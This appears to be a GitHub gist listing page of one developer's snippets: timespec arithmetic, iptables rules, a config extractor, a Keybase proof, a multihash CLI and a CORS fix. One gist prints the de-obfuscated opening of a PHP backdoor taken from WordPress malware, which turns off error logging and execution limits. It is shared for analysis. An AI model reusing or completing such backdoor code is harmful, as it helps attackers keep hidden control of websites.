Skip to content

Instantly share code, notes, and snippets.

@notslang
notslang / timespecs.cpp
Last active February 8, 2024 06:26
get difference between timespecs
/**
* Subtract timespec `b` from `a`. timespec `a` must be greater than `b`.
* @param res Where we put the result
* @param a timespec pointer for end time
* @param b timespec pointer for start time
*/
void get_difference(timespec *res, timespec *a, timespec *b) {
if (a->tv_nsec < b->tv_nsec) {
res->tv_sec = a->tv_sec - b->tv_sec - 1;
res->tv_nsec = a->tv_nsec - b->tv_nsec + 1000000000;
@notslang
notslang / twitter-verified-icon.svg
Last active March 22, 2023 14:01
The blue verified icon, extracted from Twitter's icon font & resized using Inkscape
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
from datetime import datetime, date
from json import dumps
import fileinput
import re
import sys
# detect useless "page x of n" lines
page_regex = re.compile(r'^Page,[0-9]+,of,[0-9]+')
def parse_input():
# delete existing rules
iptables -F
# drop all traffic not explicitly allowed
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
# allow ping from inside
iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT
@notslang
notslang / unpack-config.js
Created March 27, 2021 22:50
Extract files from an ignition config
const { ArgumentParser } = require('argparse')
const fs = require('fs')
const path = require('path')
const mkdirp = require('mkdirp')
const packageInfo = require('./package')
const argparser = new ArgumentParser({
addHelp: true,
description: 'Extract files from an ignition config',
version: packageInfo.version

Keybase proof

I hereby claim:

  • I am notslang on github.
  • I am slang (https://keybase.io/slang) on keybase.
  • I have a public key whose fingerprint is 9A7C 41E7 279F 8032 42FE AF31 F6D1 7F02 3968 6E16

To claim this, I am signing this object:

@notslang
notslang / start.php
Last active August 19, 2017 17:37
a basic RPC found in some wordpress malware. original file was base64'd and obfusticated.
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
length total
0 140
1 301
2 1014
3 2078
4 4872
5 2486
6 2742
7 4773
8 8379
@notslang
notslang / index.coffee
Last active April 4, 2016 02:31
Multihash CLI in coffeescript
base58 = require 'bs58'
{ArgumentParser} = require 'argparse'
packageInfo = require '../package'
multihash = require '../src'
printJSON = (obj) ->
# print out one key/value per line, so (for example) piping into `wc -l` gives
# a count of the total supported functions
console.log JSON.stringify(obj, null, 1).replace(/\s*(\}|\{)\s*/gm, '$1')
@notslang
notslang / gist:7670196
Last active December 29, 2015 12:19
add this to the top of the main contact form 7 file to fix its lack of CORS
if (isset($_SERVER['HTTP_ORIGIN']) && in_array($_SERVER['HTTP_ORIGIN'], array('http://chazsouthard.com', 'http://localhost:1111'))) {
header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}");
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Max-Age: 86400'); // cache for 1 day
$_SERVER['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest';
}